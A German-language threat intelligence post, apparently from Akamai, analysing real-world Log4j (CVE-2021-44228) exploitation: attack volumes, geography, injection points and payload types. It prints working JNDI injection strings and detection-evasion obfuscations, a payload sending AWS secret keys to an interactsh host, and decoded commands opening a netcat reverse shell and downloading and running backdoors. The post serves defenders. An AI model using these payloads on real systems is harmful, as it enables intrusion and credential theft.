Threat Intelligence zum Log4j-CVE: Die wichtigsten Erkenntnisse und ihre Bedeutung
Aufbauend auf die Untersuchungen zu CVE-2021-44228 hat Akamai bereits diese Schwachstelle beschrieben und Empfehlungen zu über das Patching hinausgehenden Schutzmaßnahmen erstellt. Im gesamten Akamai-Netzwerk beobachten wir täglich Traffic von 1,3 Milliarden unterschiedlichen Geräten mit einem Spitzentraffic von 182 Tbit/s. Das Threat Research Team hat diesen Traffic untersucht, um detailliertere Erkenntnisse über die Ausnutzung dieser Schwachstelle zu gewinnen. Die Ergebnisse auf technischer Ebene und deren Bedeutung für Sicherheitsexperten stellen wir hier vor. Hier finden Sie einige Folgen, die Sicherheitsexperten und Threat Hunter berücksichtigen sollten:
- Gehen Sie davon aus, dass die mit dieser Schwachstelle verbundenen Angriffe länger andauern werden. Es ist zu erwarten, dass wir aufgrund der breiten Nutzung dieser Software und der Vielzahl von Exploit-Varianten auch in den kommenden Monaten Exploit-Versuche sehen werden. Außerdem dürften noch zahlreiche Sicherheitsverletzungen ans Licht kommen. Wir empfehlen weiterhin, dass Sie sich unverzüglich mit Patching gegen zukünftige Angriffsversuche schützen.
- Angreifer sind bei der Injektion erst opportunistisch und dann immer gezielter vorgegangen. Wie bei den Exploit-Varianten wurden alle verfügbaren Angriffspunkte für Injektionen genutzt. Dabei nutzten die Angreifer zwar zunächst offensichtliche opportunistische Stellen wie den User Agent, nahmen dann jedoch schnell unternehmensspezifische Parameter ins Fadenkreuz. Diese Informationen sind besonders nützlich bei der Anpassung der eigenen Websicherheit an die sich entwickelnde Bedrohungslandschaft.
- Es wird möglicherweise noch Monate dauern, bis wir Aufschluss über alle Folgen der bisherigen Ausspähungsaktivitäten haben. Den überwiegende Teil der beobachteten Aktivitäten machten Erkundungen bzw. Tests aus, gegenüber einem relativ kleinen Prozentsatz tatsächlicher Angriffe. Und obwohl Angriffe durch Patching und andere Methoden abgewehrt werden können, ist unklar, zu wie vielen Sicherheitsverletzungen es in diesem Zeitraum gekommen ist. Es wird einige Zeit dauern, bis diese Verletzungen ans Licht kommen und wir Gewissheit über deren Ausmaß gewinnen.
Werfen wir einen Blick auf die Erkenntnisse im Detail.
Erkenntnis 1: Auf einen langsamen Start folgte eine globale Flutwelle von Schadaktivität
Bis die gegen unsere Kunden gerichteten Exploit-Versuche richtig ins Laufen kamen, gab es eine kurze Schonfrist. Doch als diese abgelaufen war, folgten sie in massiven Wellen dicht nacheinander. Es passt auch mit den anderen Erkenntnissen zusammen, dass das Volumen schädlicher Aktivitäten drastisch zunahm, sobald die Angreifer weitere Angriffsvektoren und Exploit-Variationen entdeckten.
Wie bei anderen Zero-Day-Lücken gelang es den Angreifern auch hier sehr schnell, den Exploit zu nutzen und das Angriffsarsenal weiter auszubauen. Unsere Daten zeigen, dass ca. 57 % der Angriffsinfrastruktur, die hinter Log4j-Exploits steckte, bereits von früheren Angriffen bei Akamai bekannt war. Die Angriffsflut ging also genauso häufig von bereits vorhandenen böswilligen Akteuren aus, die opportunistisch handelten, wie von neuen Angreifern.
Die Angriffswelle hatte auch ein globales Ausmaß. Die meisten Angriffe stammten ursprünglich aus den USA, Singapur, Deutschland und Brasilien, es gab aber eine starke regionale Streuung. Wir haben auch Angriffe beobachtet, die über die Server beliebter Cloudanbieter wie AWS und DigitalOcean liefen.
Die geografischen Standorte der angreifenden IPs waren ständig in Bewegung. Am 15. Dezember wurden die meisten Log4j-Angriffe von illegalen Rechnern in Kanada, der russischen Föderation, überraschenderweise Luxemburg und dem Vereinigten Königreich versendet.
Unter den Branchen ist der Handel mit Abstand stärker betroffen als eine große branchenübergreifende Kohorte. Innerhalb einer Stunde kam es bei mehr als 50 % der Kunden, die für ihre Anwendungssicherheit auf Akamai setzen, zu Exploit-Versuchen.
Die USA wurden fünfmal häufiger angegriffen als das nächste Zielland (Vereinigtes Königreich), und es wiederum eine große Gruppe von Ländern, in denen ähnliche Ziele im Visier waren.
Erkenntnis 2: Beispiellos viele Exploit-Varianten
Diese Schwachstelle hat nicht nur enorme Auswirkungen, sie hat auch zu einer beispiellosen Entwicklung von Exploit-Varianten geführt.
Der erste Angriffsvektor aus dem Proof-of-Concept-Exploit war:
${jndi:ldap://malicious_server_address/}
Unmittelbar kamen andere einfache Umgehungstechniken, wie URL-codierte Payloads, auf:
$%7Bjndi:ldap:/x.x.x.x:3339/Exploit%7D
Innerhalb weniger Stunden probierten Angreifer andere JNDI-Registry-Service-Provider wie „rmi“ und „dns“ aus, um der Erkennung durch die Suche speziell nach „ldap“ zu entgehen. Diese Versuche sahen folgendermaßen aus:
${jndi:rmi:// und ${jndi:dns://
Die vorhandene Dokumentation der Log4j 2-Abfragen gibt uns Aufschluss über die Angriffsfläche und das Potenzial für Umgehungstechniken. Angreifer und Forscher versuchten, eine der Abfrageanweisungen zu verwenden, um eine verschleierte Angriffsvariante ohne die Zeichenfolge „jndi“ zu entwickeln – weil die meisten Erkennungsregeln bei der Abwehr nach dieser Zeichenfolgen suchten.
Da bei Log4j Groß- und Kleinschreibung nicht beachtet wird, wurden zuerst sehr triviale Methoden für die Zeichentransformation in den Abfrageanweisungen verwendet, nämlich „lower“ und „upper“:
${${lower:j}ndi: und ${${upper:j}ndi:
Als Input der Abfragefunktion kann eine beliebig lange Zeichenfolge verwendet werden, weil sie nicht nur mit einem einzelnen Zeichen funktioniert:
${${lower:jnd}i:
Nahezu sofort erkannten die Angreifer, dass sie eine Nutzervariable definieren und als Standardwert ein Minuszeichen festlegen konnten, was dazu führt, dass dieser Standardwert nach der Definition zurückgegeben wird. Auch mit diesem Trick ließen sich die Zeichenfolgen „jndi“ und „ldap“ verschleiern:
${${x:-j}ndi:
Anscheinend muss im Log4j-Framework nicht einmal ein Name für eine Variable angegeben werden. In Exploit-Varianten wurden daraufhin derartige „leere“ Variablennamen und auch Variablen mit mehreren Ebenen aufgenommen:
${${:-j}ndi: und ${${::::::-j}ndi:
Bei einigen Varianten wurden andere Nutzeranweisungen wie „env“ verwendet, um neue Umgebungsvariablen zu definieren, und „date“, was überraschenderweise kein Datumsformat durchsetzt:
${${env:BARFOO:-j}ndi und ${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:ldap://127.0.0.1:3339/Exploit}
Anspruchsvollere Varianten, die in den nächsten Tagen nach dem Start der massiven Exploit-Welle folgten, enthielten auch eine Umgehung mit „leeren“ Zeichenfolgen. Angreifer suchten nach einer Abfragemethode und einem Ausdruck, die bei der Auswertung zu einer „leeren“ Zeichenfolge führten, wodurch dieser Ausdruck zwischen beliebigen Zeichen eingefügt werden könnte. Ein Beispiel:
${:-}
Raffiniertere Varianten der „leeren“ Zeichenfolge basierten auf systemspezifischen Einstellungen und Injektionselementen wie:
${{sys:sun.cpu.isalist}jnd${sys:sun.cpu.isalist}i
Und die Angreifer probierten zahlreiche weitere Varianten, darunter solche mit doppelter URL-Codierung, Unicode und Ausdrücken ohne die schließende geschweifte Klammer.
Es sollte erwähnt werden, dass Angreifer auch verschiedene funktionsunfähige Angriffsvarianten ausprobierten, zum Beispiel:
$jndi:ldap://
Erkenntnis 3: Mehrere Injektionsstellen, mit Entwicklung von opportunistischen zu zielgerichteten Angriffen
In unseren Untersuchungen haben wir festgestellt, dass die Angreifer die Exploit-Payload an unterschiedlichen Orten injiziert haben. Der häufigsten Exploit-Injektionsstellen waren die Argumente der Abfragezeichenfolgen, der User-Agent-Header wie beim ursprünglichen Proof-of-Concept-Exploit und der Anfragepfad. Hierbei wurde angenommen, dass Webserver und Anwendungen Zugriffsinformationen wie Methode, Anfragepfad und User Agent protokollieren.
Bei den meisten Angriffen erfolgte die Injektion in verschiedenen Dummy-Abfrageparametern wie „x“, „test“ und „foo“. Andere Abfrageparameter wie „url“, „nextUrl“, „_csrfToken“, „_endcoding“ und „openid.retrun_to“ wurden genutzt, um zu ermitteln, ob diese Parameter mit hoher Wahrscheinlichkeit protokolliert wurden.
Jeder vorstellbare Header wurde zum Ziel der Injektion, auch die von Cookies, Referrern, X-Forwarded-For und Connection.
Viele der Angreifer sendeten Anfragen, bei denen der Exploit an mehreren Stellen in ein und derselben Anfrage injiziert war.
Erkenntnis 4: Die Payload-Analyse zeigt, dass blinde Erkundungen, Malware-Drops und Post-Exploit-Tools eingesetzt wurden
Die meisten Angreifer setzten auf die „blinde“ Erkundung, wobei sie die beliebtesten Onlineservices nutzten, um nach außen gerichteten Interaktionen von Services zu finden. Bei bestimmten Schwachstellen erhält der Angreifer keine direkte Antwort vom Zielservice zur Bestätigung einer Schwachstelle. Die Technik zur Überprüfung der Anfälligkeit einer Website ist in solchen Fällen der Versuch, Code auszuführen, durch den ein externer Server unter der Kontrolle der Angreifer kontaktiert wird, der nach derartigen Verbindungen sucht. Wenn der Server des Angreifers einen „Beacon“ von einem bestimmten Server empfängt, bedeutet das, dass dieser Server den Code des Angreifers ausgeführt hat. Anstatt einen solchen Server einzurichten und zu unterhalten, verwendeten die meisten Angreifer für diesen Zweck die beliebtesten Online-Setups.
Die beliebtesten Services, die beim Log4j-Angriff genutzt wurden, waren „ineract.sh“, „burpcollaborator.net“ und „canarytokens.com“, bei dem Angriff wurden aber viele weitere Domainnamen verwendet. Viele dieser Domains hosten eine Implementierung des „out of band“ bereitgestellten Open-Source-Interaktionsservers „Ineractsh“.
Abbildung: Service „canarytokens.com“ zur Erkennung von „out of bound“-Interaktionen, der beim Log4j-Angriff verwendet wurde
Neben dem Beacon für die Blinderkundung versuchten viele Angreifer bereits, nützliche Daten wie den Hostnamen des Computers, Umgebungsdaten wie java:os, java:vm und env:user zu extrahieren – sogar AWS-Schlüssel, um das AWS-Konto übernehmen zu können.
x=${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.c6r0th1plenfp33c62vgcg5bneayyna7g.interactsh.com/a} |
Andere Payloads beinhalten die direkte Befehlsausführung mit base64-codierter Payload:
${jndi:ldap://165.22.213.147:1389/Basic/Command/Base64/bmMgMTY1LjIyLjIxMy4x
NDcgODg4OCAtZSAvYmluL2Jhc2ggOyBjdXJsIGh0dHA6Ly8xNjUuMjIuMjEzLjE0Nz
o3Nzc3L2JhY2tkb29yLnNoIC1vIGJhY2tkb29yLnNoIDsgY2htb2QgK3ggLi9iYWNrZG9vci5
zaCA7YmFzaCBiYWNrZG9vci5zaCA7IGRpZyBsb2x6LjEyMWVwdDltNmJvanVsaHZ3dzBiN
HlxdHBrdmJvemQuYnVycGNvbGxhYm9yYXRvci5uZXQ=}
Woraus sich Folgendes ergibt:
nc 165.22.213.147 8888 -e /bin/bash ; curl http://165.22.213.147:7777/backdoor.sh -o backdoor.sh ; chmod +x ./backdoor.sh ;bash backdoor.sh ; dig lolz.121ept9m6bojulhvww0b4yqtpkvbozd.burpcollaborator.net |
Angreifer öffnen eine Reverse Shell zu ihrem C2-Server durch Herunterladen eines Spearhead-Bash-Skripts, das ausgeführt wird und einen „DNS“-Beacon an „burpcollaborator.net“ sendet, um zu bestätigen, dass der Server angreifbar ist.
Reverse-Tunnel-Dienste wie „ngrok.io“ wurden verwendet, um die Identitäten der Angreifer zu verschleiern:
${${env:BARFOO:-j}ndi:${env:BARFOO:-l}dap${env:BARFOO:-:}//0.tcp.ngrok.io:17305/Basic/Command/Base64/d2dldCA4LnRjcC5uZ3Jvay5pbzoxNDYzOSAg}
Der ausgeführte Befehl betraf das Herunterladen einer Backdoor:
wget 8.tcp.ngrok.io:14639
Der Vorteil dieser Tunnel-Services besteht darin, dass die Angreifer ihre Malware nicht auf ihrem eigenen öffentlich zugänglichen Server hosten müssen, der von Behörden abgeschaltet oder beschlagnahmt werden könnte. In diesem Fall hostet ein Angreifer die Malware und das Command and Control-Panel auf seinem eigenen Computer und kann sich hinter einem legitimen Tunneling-Service verstecken. Der Service leitet den C2-Traffic vom Computer des Opfers als „Proxy“ zum Computer des Angreifers durch.
Neben Angreifern, die Cryptominer und DDoS-Bots einrichten wollen, haben wir einige aggressive Angreifer gefunden, die es mit einer massiven Anzahl von Scans auf Windows-Rechner abgesehen hatten. Angreifer versuchten, die berüchtigte „Netcat“-Backdoor einzurichten, ein bekanntes Tool für die Eskalation von Berechtigungen unter Windows, das später häufig für laterale Netzwerkbewegungen oder die Aneignung von Berechtigungen zur Verschlüsselung der Festplatte mit Ransomware verwendet wird.
Der Server eines Angreifers, auf dem Netcat- und WinPEAS-Angriffstools gehostet werden
Von den bisher beobachteten Angriffen scheint nur ein kleiner Prozentsatz mit Ransomware in Verbindung zu stehen.
Wir werden Sie auf dem Laufenden halten
Zwar haben wir einige wichtige Erkenntnisse gewonnen, die Auswertung der Daten ist aber noch nicht beendet. Die Threat Intelligence-, Security Research- und Incident Response-Teams von Akamai überwachen und schützen weiterhin unsere Infrastruktur sowie unsere Kunden und nutzen dabei diese Transparenz und Informationen.
